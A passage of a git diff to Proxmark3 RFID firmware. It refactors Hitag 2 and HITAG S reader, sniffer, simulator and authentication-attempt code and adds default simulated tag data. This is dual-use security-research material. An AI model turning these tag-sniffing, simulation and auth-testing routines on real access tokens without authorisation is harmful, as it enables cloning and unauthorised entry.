lz4_stream_t compressed_fpga_stream; LZ4_streamDecode_t lz4StreamDecode_body = {{ 0 }}; compressed_fpga_stream.lz4StreamDecode = &lz4StreamDecode_body; - uint8_t *output_buffer = BigBuf_malloc(FPGA_RING_BUFFER_BYTES); + uint8_t *output_buffer = BigBuf_calloc(FPGA_RING_BUFFER_BYTES); - if (!reset_fpga_stream(bitstream_target, &compressed_fpga_stream, output_buffer)) + if (reset_fpga_stream(bitstream_target, &compressed_fpga_stream, output_buffer) == false) { return; + } uint32_t bitstream_length; if (bitparse_find_section(bitstream_target, 'e', &bitstream_length, &compressed_fpga_stream, output_buffer)) { diff --git a/armsrc/frozen.c b/armsrc/frozen.c index 43e5852e4..b4f57aa74 100644 --- a/armsrc/frozen.c +++ b/armsrc/frozen.c @@ -26,7 +26,7 @@ #include "nprintf.h" #include "BigBuf.h" -#define malloc(X) BigBuf_malloc(X) +#define malloc(X) BigBuf_calloc(X) #define free(X) #if !defined(WEAK) @@ -1360,7 +1360,7 @@ int json_prettify(const char *s, int len, struct json_out *out) { int json_prettify_file(const char *file_name) WEAK; int json_prettify_file(const char *file_name) { int res = -1; - char *s = json_fread(file_name); + const char *s = json_fread(file_name); FILE *fp; if (s != NULL && (fp = fopen(file_name, "wb")) != NULL) { struct json_out out = JSON_OUT_FILE(fp); @@ -1369,6 +1369,9 @@ int json_prettify_file(const char *file_name) { /* On error, restore the old content */ fclose(fp); fp = fopen(file_name, "wb"); + if (fp == NULL) { + return -1; + } fseek(fp, 0, SEEK_SET); fwrite(s, 1, strlen(s), fp); } else { diff --git a/armsrc/hfsnoop.c b/armsrc/hfsnoop.c index 5443a617f..939ee4319 100644 --- a/armsrc/hfsnoop.c +++ b/armsrc/hfsnoop.c @@ -107,7 +107,7 @@ int HfSniff(uint32_t samplesToSkip, uint32_t triggersToSkip, uint16_t *len, uint SpinDelay(100); *len = BigBuf_max_traceLen(); - uint8_t *mem = BigBuf_malloc(*len); + uint8_t *mem = BigBuf_calloc(*len); uint32_t trigger_cnt = 0; uint16_t r = 0, interval = 0; diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index fb5e706b2..9ba2bcaf9 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -14,8 +14,6 @@ // See LICENSE.txt for the text of the license. //----------------------------------------------------------------------------- -#define DBG if (g_dbglevel >= DBG_EXTENDED) - #include "hitag2.h" #include "hitag2/hitag2_crypto.h" #include "string.h" @@ -322,7 +320,7 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ // reader/writer // returns how long it took -static uint32_t hitag_reader_send_bit(int bit) { +static uint32_t hitag2_reader_send_bit(int bit) { // Binary pulse length modulation (BPLM) is used to encode the data stream // This means that a transmission of a one takes longer than that of a zero @@ -351,13 +349,13 @@ static uint32_t hitag_reader_send_bit(int bit) { // reader / writer commands // frame_len is in number of bits? -static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { +static uint32_t hitag2_reader_send_frame(const uint8_t *frame, size_t frame_len) { WDT_HIT(); uint32_t wait = 0; // Send the content of the frame for (size_t i = 0; i < frame_len; i++) { - wait += hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); + wait += hitag2_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); } // Send EOF @@ -380,14 +378,14 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) // reader / writer commands // frame_len is in number of bits? -static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_len) { +static uint32_t hitag2_reader_send_framebits(const uint8_t *frame, size_t frame_len) { WDT_HIT(); uint32_t wait = 0; // Send the content of the frame for (size_t i = 0; i < frame_len; i++) { - wait += hitag_reader_send_bit(frame[i]); + wait += hitag2_reader_send_bit(frame[i]); } // Send EOF @@ -456,11 +454,16 @@ static bool hitag1_plain(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *t /*tx[0] = 0xb0; // Rev 3.0*/ tx[0] = HITAG1_SET_CC; // Rev 2.0 *txlen = 5; - if (!bCollision) blocknr--; + + if (bCollision == false) { + blocknr--; + } + if (blocknr < 0) { blocknr = 0; } - if (!hitag_s) { + + if (hitag_s == false) { if (blocknr > 1 && blocknr < 31) { blocknr = 31; } @@ -485,11 +488,13 @@ static bool hitag1_plain(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *t } else { memcpy(tag.sectors[blocknr], rx, 4); blocknr++; - if (!hitag_s) { + + if (hitag_s == false) { if (blocknr > 1 && blocknr < 31) { blocknr = 31; } } + if (blocknr > 63) { DbpString("Read successful!"); *txlen = 0; @@ -505,18 +510,16 @@ static bool hitag1_plain(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *t tx[2] = crc << 4; *txlen = 20; } + break; } - break; default: { Dbprintf("Unknown frame length: %d", rxlen); return false; } - break; } return true; } - static bool hitag1_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) { uint8_t crc; *txlen = 0; @@ -526,18 +529,24 @@ static bool hitag1_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, si /*tx[0] = 0xb0; // Rev 3.0*/ tx[0] = HITAG1_SELECT; // Rev 2.0 *txlen = 5; + if (bCrypto && byte_value <= 0xff) { // to retry bCrypto = false; } - if (!bCollision) blocknr--; + + if (bCollision == false) { + blocknr--; + } + if (blocknr < 0) { blocknr = 0; } + bCollision = true; // will receive 32-bit UID + break; } - break; case 2: { if (bAuthenticating) { // received Auth init ACK, send nonce @@ -562,8 +571,8 @@ static bool hitag1_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, si *txlen = 20; // will receive 32-bit encrypted page } + break; } - break; case 32: { if (bCollision) { // Select card by serial from response @@ -629,13 +638,12 @@ static bool hitag1_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, si *txlen = 20; */ } + break; } - break; default: { Dbprintf("Unknown frame length: %d", rxlen); return false; } - break; } return true; @@ -715,8 +723,8 @@ static bool hitag2_password(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t } *txlen = 5; memcpy(tx, "\xC0", nbytes(*txlen)); + break; } - break; // Received UID, tag password case 32: { @@ -730,7 +738,9 @@ static bool hitag2_password(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t // stage 2, got config byte+password TAG, discard as will read later if (bAuthenticating) { bAuthenticating = false; + if (write) { + if (!hitag2_write_page(rx, rxlen, tx, txlen)) { return false; } @@ -752,15 +762,13 @@ static bool hitag2_password(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t tx[0] = HITAG2_READ_PAGE | (blocknr << 3) | ((blocknr ^ 7) >> 2); tx[1] = ((blocknr ^ 7) << 6); } + break; } - break; - // Unexpected response default: { DBG Dbprintf("Unknown frame length: " _RED_("%d"), rxlen); return false; } - break; } } @@ -823,12 +831,17 @@ static bool hitag2_crypto(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t * // stage 1, got UID if (bCrypto == false) { + uint64_t ui64key = key[0] | + ((uint64_t)key[1]) << 8 | + ((uint64_t)key[2]) << 16 | + ((uint64_t)key[3]) << 24 | + ((uint64_t)key[4]) << 32 | + ((uint64_t)key[5]) << 40; + + uint32_t ui32uid = MemLeToUint4byte(rx); + DBG Dbprintf("hitag2_crypto: key array "); DBG Dbhexdump(6, key, false); - - uint64_t ui64key = key[0] | ((uint64_t)key[1]) << 8 | ((uint64_t)key[2]) << 16 | ((uint64_t)key[3]) << 24 | ((uint64_t)key[4]) << 32 | ((uint64_t)key[5]) << 40; - - uint32_t ui32uid = rx[0] | ((uint32_t)rx[1]) << 8 | ((uint32_t)rx[2]) << 16 | ((uint32_t)rx[3]) << 24; DBG Dbprintf("hitag2_crypto: key=0x%x%x uid=0x%x" , (uint32_t)((REV64(ui64key)) >> 32) , (uint32_t)((REV64(ui64key)) & 0xffffffff) @@ -1000,9 +1013,8 @@ static bool hitag2_test_auth_attempts(uint8_t *rx, const size_t rxlen, uint8_t * } *txlen = 5; memcpy(tx, "\xc0", nbytes(*txlen)); + break; } - break; - // Received UID, crypto tag answer, or read block response case 32: { if (bCrypto == false) { @@ -1018,16 +1030,13 @@ static bool hitag2_test_auth_attempts(uint8_t *rx, const size_t rxlen, uint8_t * auth_table_pos += 8; memcpy(NrAr, auth_table + auth_table_pos, 8); } + break; } - break; - default: { Dbprintf("Unknown frame length: " _RED_("%d"), rxlen); return false; } - break; } - return true; } @@ -1038,7 +1047,6 @@ void hitag_sniff(void) { BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(true); // Set up eavesdropping mode, frequency divisor which will drive the FPGA @@ -1063,7 +1071,6 @@ void SniffHitag2(bool ledcontrol) { BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(true); /* @@ -1420,7 +1427,6 @@ void SimulateHitag2(bool ledcontrol) { BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(true); // empties bigbuff etc @@ -1432,12 +1438,7 @@ void SimulateHitag2(bool ledcontrol) { auth_table_len = 0; auth_table_pos = 0; -// auth_table = BigBuf_malloc(AUTH_TABLE_LENGTH); -// memset(auth_table, 0x00, AUTH_TABLE_LENGTH); - - // Reset the received frame, frame count and timing info -// memset(rx, 0x00, sizeof(rx)); -// memset(tx, 0x00, sizeof(tx)); +// auth_table = BigBuf_calloc(AUTH_TABLE_LENGTH); DbpString("Starting Hitag 2 simulation"); @@ -1673,14 +1674,14 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) { // Check configuration switch (payload->cmd) { - case RHT1F_PLAIN: { + case HT1F_PLAIN: { DBG Dbprintf("Read public blocks in plain mode"); // this part will be unreadable memset(tag.sectors + 2, 0x0, 30); blocknr = 0; break; } - case RHT1F_AUTHENTICATE: { + case HT1F_AUTHENTICATE: { DBG Dbprintf("Read all blocks in authed mode"); memcpy(nonce, payload->nonce, 4); @@ -1706,7 +1707,7 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) { blocknr = 0; break; } - case RHT2F_PASSWORD: { + case HT2F_PASSWORD: { DBG Dbprintf("List identifier in password mode"); if (memcmp(payload->pwd, "\x00\x00\x00\x00", 4) == 0) { memcpy(password, tag.sectors[1], sizeof(password)); @@ -1718,7 +1719,7 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) { bAuthenticating = false; break; } - case RHT2F_AUTHENTICATE: { + case HT2F_AUTHENTICATE: { DBG DbpString("Authenticating using NrAr pair:"); memcpy(NrAr, payload->NrAr, 8); DBG Dbhexdump(8, NrAr, false); @@ -1729,7 +1730,7 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) { bAuthenticating = false; break; } - case RHT2F_CRYPTO: { + case HT2F_CRYPTO: { DBG DbpString("Authenticating using key:"); memcpy(key, payload->key, 6); //HACK; 4 or 6?? I read both in the code. DBG Dbhexdump(6, key, false); @@ -1741,7 +1742,7 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) { bAuthenticating = false; break; } - case RHT2F_TEST_AUTH_ATTEMPTS: { + case HT2F_TEST_AUTH_ATTEMPTS: { DBG Dbprintf("Testing " _YELLOW_("%d") " authentication attempts", (auth_table_len / 8)); auth_table_pos = 0; memcpy(NrAr, auth_table, 8); @@ -1819,27 +1820,27 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) { // By default reset the transmission buffer tx = txbuf; switch (payload->cmd) { - case RHT1F_PLAIN: { + case HT1F_PLAIN: { bStop = !hitag1_plain(rx, rxlen, tx, &txlen, false); break; } - case RHT1F_AUTHENTICATE: { + case HT1F_AUTHENTICATE: { bStop = !hitag1_authenticate(rx, rxlen, tx, &txlen); break; } - case RHT2F_PASSWORD: { + case HT2F_PASSWORD: { bStop = !hitag2_password(rx, rxlen, tx, &txlen, false); break; } - case RHT2F_AUTHENTICATE: { + case HT2F_AUTHENTICATE: { bStop = !hitag2_authenticate(rx, rxlen, tx, &txlen, false); break; } - case RHT2F_CRYPTO: { + case HT2F_CRYPTO: { bStop = !hitag2_crypto(rx, rxlen, tx, &txlen, false); break; } - case RHT2F_TEST_AUTH_ATTEMPTS: { + case HT2F_TEST_AUTH_ATTEMPTS: { bStop = !hitag2_test_auth_attempts(rx, rxlen, tx, &txlen); break; } @@ -1868,7 +1869,7 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) { } // Transmit the reader frame - command_duration = hitag_reader_send_frame(tx, txlen); + command_duration = hitag2_reader_send_frame(tx, txlen); response_start = command_start + command_duration; // Let the antenna and ADC values settle @@ -1960,9 +1961,10 @@ void ReaderHitag(const lf_hitag_data_t *payload, bool ledcontrol) { memset(rx, 0x00, sizeof(rx)); rxlen = 0; - // If there is no response, just repeat the loop + // If there is no response if (detected_tag_modulation == false) { - continue; + checked = -1; + goto out; } // Make sure we always have an even number of samples. This fixes the problem @@ -2089,17 +2091,17 @@ void WriterHitag(const lf_hitag_data_t *payload, bool ledcontrol) { // Check configuration switch (payload->cmd) { - case WHT2F_CRYPTO: { - DbpString("Authenticating using key:"); + case HT2F_CRYPTO: { + DBG DbpString("Authenticating using key:"); memcpy(key, payload->key, 6); //HACK; 4 or 6?? I read both in the code. memcpy(writedata, payload->data, 4); Dbhexdump(6, key, false); blocknr = payload->page; bCrypto = false; bAuthenticating = false; + break; } - break; - case WHT2F_PASSWORD: { + case HT2F_PASSWORD: { DBG DbpString("Authenticating using password:"); if (memcmp(payload->pwd, "\x00\x00\x00\x00", 4) == 0) { memcpy(password, tag.sectors[1], sizeof(password)); @@ -2111,14 +2113,13 @@ void WriterHitag(const lf_hitag_data_t *payload, bool ledcontrol) { blocknr = payload->page; bPwd = false; bAuthenticating = false; + break; } - break; default: { - Dbprintf("Error, unknown function: " _RED_("%d"), payload->cmd); + DBG Dbprintf("Error, unknown function: " _RED_("%d"), payload->cmd); reply_ng(CMD_LF_HITAG2_WRITE, PM3_ESOFT, NULL, 0); return; } - break; } if (ledcontrol) LED_D_ON(); @@ -2186,11 +2187,11 @@ void WriterHitag(const lf_hitag_data_t *payload, bool ledcontrol) { tx = txbuf; switch (payload->cmd) { - case WHT2F_CRYPTO: { + case HT2F_CRYPTO: { bStop = !hitag2_crypto(rx, rxlen, tx, &txlen, true); break; } - case WHT2F_PASSWORD: { + case HT2F_PASSWORD: { bStop = !hitag2_password(rx, rxlen, tx, &txlen, true); break; } @@ -2218,7 +2219,7 @@ void WriterHitag(const lf_hitag_data_t *payload, bool ledcontrol) { } // Transmit the reader frame - command_duration = hitag_reader_send_frame(tx, txlen); + command_duration = hitag2_reader_send_frame(tx, txlen); // global write state variable used // tearoff occurred @@ -2438,9 +2439,9 @@ static void ht2_send(bool turn_on, uint32_t *cmd_start // Transmit the reader frame if (send_bits) { - *cmd_duration = hitag_reader_send_framebits(tx, txlen); + *cmd_duration = hitag2_reader_send_framebits(tx, txlen); } else { - *cmd_duration = hitag_reader_send_frame(tx, txlen); + *cmd_duration = hitag2_reader_send_frame(tx, txlen); } *resp_start = (*cmd_start + *cmd_duration); @@ -2590,7 +2591,6 @@ bool ht2_packbits(uint8_t *nrz_samples, size_t nrzs, uint8_t *rx, size_t *rxlen) } return true; } - int ht2_read_uid(uint8_t *uid, bool ledcontrol, bool send_answer, bool keep_field_up) { g_logging = false; @@ -2600,6 +2600,7 @@ int ht2_read_uid(uint8_t *uid, bool ledcontrol, bool send_answer, bool keep_fiel clear_trace(); } + // hitag 2 state machine? hitag2_init(); diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index 05255b19e..4279962d6 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -19,6 +19,7 @@ //----------------------------------------------------------------------------- #include "hitagS.h" +#include "hitag_common.h" #include "proxmark3_arm.h" #include "cmd.h" @@ -32,33 +33,41 @@ #include "hitag2/hitag2_crypto.h" #include "lfadc.h" #include "crc.h" -#include +#include "protocols.h" +#include "appmain.h" // tearoff_hook() -#define CRC_PRESET 0xFF -#define CRC_POLYNOM 0x1D - -static struct hitagS_tag tag; +static struct hitagS_tag tag = { + .data.pages = { + // Plain mode: | Authentication mode: + [0] = {0x5F, 0xC2, 0x11, 0x84}, // UID | UID + // HITAG S 2048 + [1] = {0xCA, 0x00, 0x00, 0xAA}, // CON0 CON1 CON2 Reserved | CON0 CON1 CON2 PWDH0 + [2] = {0x48, 0x54, 0x4F, 0x4E}, // Data | PWDL0 PWDL1 KEYH0 KEYH1 + [3] = {0x4D, 0x49, 0x4B, 0x52}, // Data | KEYL0 KEYL1 KEYL2 KEYL3 + [4] = {0xFF, 0x80, 0x00, 0x00}, // Data + [5] = {0x00, 0x00, 0x00, 0x00}, // Data + [6] = {0x00, 0x00, 0x00, 0x00}, // Data + [7] = {0x57, 0x5F, 0x4F, 0x48}, // Data + // up to index 63 for HITAG S2048 public data + }, +}; static uint8_t page_to_be_written = 0; static int block_data_left = 0; +static bool enable_page_tearoff = false; -typedef enum modulation { - AC2K = 0, - AC4K, - MC4K, - MC8K -} MOD; +static uint8_t protocol_mode = HITAGS_UID_REQ_ADV1; +static MOD m = AC2K; // used modulation +static uint32_t reader_selected_uid; +static int rotate_uid = 0; +static int sof_bits; // number of start-of-frame bits +static uint8_t pwdh0, pwdl0, pwdl1; // password bytes +static uint8_t rnd[] = {0x85, 0x44, 0x12, 0x74}; // random number -static MOD m = AC2K; // used modulation -static uint32_t temp_uid; -static int temp2 = 0; -static int sof_bits; // number of start-of-frame bits -static uint8_t pwdh0, pwdl0, pwdl1; // password bytes -static uint32_t rnd = 0x74124485; // random number //#define SENDBIT_TEST /* array index 3 2 1 0 // bytes in sim.bin file are 0 1 2 3 -// UID is 0 1 2 3 // tag.uid is 3210 -// datasheet HitagS_V11.pdf bytes in tables printed 3 2 1 0 +UID is 0 1 2 3 // tag.data.s.uid_le is 3210 +datasheet HitagS_V11.pdf bytes in tables printed 3 2 1 0 #db# UID: 5F C2 11 84 #db# conf0: C9 conf1: 00 conf2: 00 @@ -76,311 +85,17 @@ static uint32_t rnd = 0x74124485; // random number #define ht2bs_4b(a,b,c,d) (~(((d|c)&(a^b))^(d|a|b))) #define ht2bs_5c(a,b,c,d,e) (~((((((c^e)|d)&a)^b)&(c^b))^(((d^e)|a)&((d^b)|c)))) -// Sam7s has several timers, we will use the source TIMER_CLOCK3 (aka AT91C_TC_CLKS_TIMER_DIV3_CLOCK) -// TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, Timer is running at 48MHz/32 = 1500 KHz -// Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) -// T0 = TIMER_CLOCK3 / 125000 = 12 - -#define T0 12 - -#define HITAG_FRAME_LEN 20 - -// TC0 and TC1 are 16-bit counters and will overflow after 5461 * T0 -// Ensure not to set these timings above 5461 (~43ms) when comparing without considering overflow, as they will never reach that value. - -#define HITAG_T_STOP 36 /* T_EOF should be > 36 */ -#define HITAG_T_LOW 8 /* T_LOW should be 4..10 */ -#define HITAG_T_0_MIN 15 /* T[0] should be 18..22 */ -#define HITAG_T_1_MIN 25 /* T[1] should be 26..30 */ -#define HITAG_T_0 20 /* T[0] should be 18..22 */ -#define HITAG_T_1 28 /* T[1] should be 26..30 */ -// #define HITAG_T_EOF 40 /* T_EOF should be > 36 */ -#define HITAG_T_EOF 80 /* T_EOF should be > 36 */ -#define HITAG_T_WAIT_RESP 200 /* T_wresp should be 204..212 */ -#define HITAG_T_WAIT_SC 200 /* T_wsc should be 90..5000 */ -#define HITAG_T_WAIT_FIRST 300 /* T_wfc should be 280..565 (T_ttf) */ -#define HITAG_T_PROG_MAX 750 /* T_prog should be 716..726 */ - -#define HITAG_T_TAG_ONE_HALF_PERIOD 10 -#define HITAG_T_TAG_TWO_HALF_PERIOD 25 -#define HITAG_T_TAG_THREE_HALF_PERIOD 41 -#define HITAG_T_TAG_FOUR_HALF_PERIOD 57 - -#define HITAG_T_TAG_HALF_PERIOD 16 -#define HITAG_T_TAG_FULL_PERIOD 32 - -#define HITAG_T_TAG_CAPTURE_ONE_HALF 13 -#define HITAG_T_TAG_CAPTURE_TWO_HALF 25 -#define HITAG_T_TAG_CAPTURE_THREE_HALF 41 -#define HITAG_T_TAG_CAPTURE_FOUR_HALF 57 - -/* - * Implementation of the crc8 calculation from Hitag S - * from http://www.proxmark.org/files/Documents/125%20kHz%20-%20Hitag/HitagS.V11.pdf - */ -static void calc_crc(unsigned char *crc, unsigned char data, unsigned char Bitcount) { - *crc ^= data; // crc = crc (exor) data - do { - if (*crc & 0x80) { // if (MSB-CRC == 1) - *crc <<= 1; // CRC = CRC Bit-shift left - *crc ^= CRC_POLYNOM; // CRC = CRC (exor) CRC_POLYNOM - } else { - *crc <<= 1; // CRC = CRC Bit-shift left - } - } while (--Bitcount); -} - -static void hitag_send_bit(int bit, bool ledcontrol) { - - if (ledcontrol) LED_A_ON(); - // Reset clock for the next bit - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - - switch (m) { - case AC2K: { - if (bit == 0) { - // AC Coding --__ - HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; - - LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 64) {}; - - } else { - // AC coding -_-_ - HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; - - LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; - - HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 48) {}; - - LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 64) {}; - - } - if (ledcontrol) LED_A_OFF(); - break; - } - case AC4K: { - if (bit == 0) { - // AC Coding --__ - HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_HALF_PERIOD) {}; - - LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_TAG_FULL_PERIOD) {}; - - } else { - // AC coding -_-_ - HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 8) {}; - - LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; - - HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 24) {}; - - LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; - } - if (ledcontrol) LED_A_OFF(); - break; - } - case MC4K: { - if (bit == 0) { - // Manchester: Unloaded, then loaded |__--| - LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; - - HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; - - } else { - // Manchester: Loaded, then unloaded |--__| - HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; - - LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 32) {}; - - } - if (ledcontrol) LED_A_OFF(); - break; - } - case MC8K: { - if (bit == 0) { - // Manchester: Unloaded, then loaded |__--| - LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 8) {}; - - HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; - - } else { - // Manchester: Loaded, then unloaded |--__| - HIGH(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 8) {}; - - LOW(GPIO_SSC_DOUT); - while (AT91C_BASE_TC0->TC_CV < T0 * 16) {}; - - } - if (ledcontrol) LED_A_OFF(); - break; - } - default: { - break; - } - } -} - -static void hitag_send_frame(const uint8_t *frame, size_t frame_len, bool ledcontrol) { - - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("hitag_send_frame: (%i) %02X %02X %02X %02X", frame_len, frame[0], frame[1], frame[2], frame[3]); - } - - // The beginning of the frame is hidden in some high level; pause until our bits will have an effect - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - HIGH(GPIO_SSC_DOUT); - switch (m) { - case AC4K: - case MC8K: { - while (AT91C_BASE_TC0->TC_CV < T0 * 40) {}; //FADV - break; - } - case AC2K: - case MC4K: { - while (AT91C_BASE_TC0->TC_CV < T0 * 20) {}; //STD + ADV - break; - } - } - - // SOF - send start of frame - for (size_t i = 0; i < sof_bits; i++) { - hitag_send_bit(1, ledcontrol); - } - - // Send the content of the frame - for (size_t i = 0; i < frame_len; i++) { - hitag_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1, ledcontrol); - } - - LOW(GPIO_SSC_DOUT); -} - -static void hitag_reader_send_bit(int bit, bool ledcontrol) { - - if (ledcontrol) LED_A_ON(); - // Reset clock for the next bit - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - while (AT91C_BASE_TC0->TC_CV > 0); - - // Binary puls length modulation (BPLM) is used to encode the data stream - // This means that a transmission of a one takes longer than that of a zero - - HIGH(GPIO_SSC_DOUT); - -#ifdef SENDBIT_TEST - // Wait for 4-10 times the carrier period - while (AT91C_BASE_TC0->TC_CV < T0 * 6) {}; - - LOW(GPIO_SSC_DOUT); - - if (bit == 0) { - // Zero bit: |_-| - while (AT91C_BASE_TC0->TC_CV < T0 * 11) {}; +static void update_tag_max_page(void) { + //check which memorysize this tag has + if (tag.data.s.config.MEMT == 0x00) { + tag.max_page = 32 / (HITAGS_PAGE_SIZE * 8) - 1; + } else if (tag.data.s.config.MEMT == 0x1) { + tag.max_page = 256 / (HITAGS_PAGE_SIZE * 8) - 1; + } else if (tag.data.s.config.MEMT == 0x2) { + tag.max_page = 2048 / (HITAGS_PAGE_SIZE * 8) - 1; } else { - // One bit: |_--| - while (AT91C_BASE_TC0->TC_CV < T0 * 14) {}; + tag.max_page = HITAGS_MAX_PAGES - 1; } -#else - // Wait for 4-10 times the carrier period - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_LOW) {}; - - LOW(GPIO_SSC_DOUT); - - if (bit == 0) { - // Zero bit: |_-| - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_0) {}; - } else { - // One bit: |_--| - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_1) {}; - } -#endif - - if (ledcontrol) LED_A_OFF(); -} - -static void hitag_reader_send_frame(const uint8_t *frame, size_t frame_len, bool ledcontrol) { - // Send the content of the frame - for (size_t i = 0; i < frame_len; i++) { -// if (frame[0] == 0xf8) { - //Dbprintf("BIT: %d",(frame[i / 8] >> (7 - (i % 8))) & 1); -// } - hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1, ledcontrol); - } - // send EOF - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - while (AT91C_BASE_TC0->TC_CV > 0); - HIGH(GPIO_SSC_DOUT); - - // Wait for 4-10 times the carrier period - while (AT91C_BASE_TC0->TC_CV < T0 * HITAG_T_LOW) {}; - - LOW(GPIO_SSC_DOUT); -} - -static void hitagS_init_clock(void) { - - // Enable Peripheral Clock for - // Timer Counter 0, used to measure exact timing before answering - // Timer Counter 1, used to capture edges of the tag frames - AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); - - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - - // Disable timer during configuration - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // TC0: Capture mode, clock source = MCK/32 (TIMER_CLOCK3), no triggers - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; - - // TC1: Capture mode, clock source = MCK/32 (TIMER_CLOCK3), TIOA is external trigger, - // external trigger falling edge, set RA on falling edge of TIOA. - AT91C_BASE_TC1->TC_CMR = - AT91C_TC_CLKS_TIMER_DIV3_CLOCK | - AT91C_TC_ETRGEDG_FALLING | // external trigger on falling edge - AT91C_TC_ABETRG | // TIOA is used as an external trigger. - AT91C_TC_LDRA_FALLING | // load RA on on falling edge - AT91C_TC_ACPA_CLEAR | // RA comperator clears TIOA (carry bit) - AT91C_TC_ASWTRG_SET; // SWTriger sets TIOA (carry bit) - - AT91C_BASE_TC1->TC_RA = 1; // clear carry bit on next clock cycle - - // Enable and reset counters - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - // for (size_t i = 0; i < 10; i++) __asm(""); - // uint16_t cv0 = AT91C_BASE_TC0->TC_CV; - - // synchronized startup procedure - // In theory, with MCK/32, we shouldn't be waiting longer than 32 instruction statements, right? - while (AT91C_BASE_TC0->TC_CV > 0) {}; // wait until TC0 returned to zero -// while (AT91C_BASE_TC0->TC_CV < 2) {}; // and has started (TC_CV > TC_RA, now TC1 is cleared) - - // Dbprintf("TC0_CV0:%i TC0_CV:%i TC1_CV:%i", cv0, AT91C_BASE_TC0->TC_CV, AT91C_BASE_TC1->TC_CV); -} - -static void hitagS_stop_clock(void) { - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; } /* @@ -388,45 +103,46 @@ static void hitagS_stop_clock(void) { */ static int check_select(const uint8_t *rx, uint32_t uid) { - unsigned char resp[48]; - uint32_t ans = 0x0; - - for (int i = 0; i < 48; i++) { - resp[i] = (rx[i / 8] >> (7 - (i % 8))) & 0x1; - } 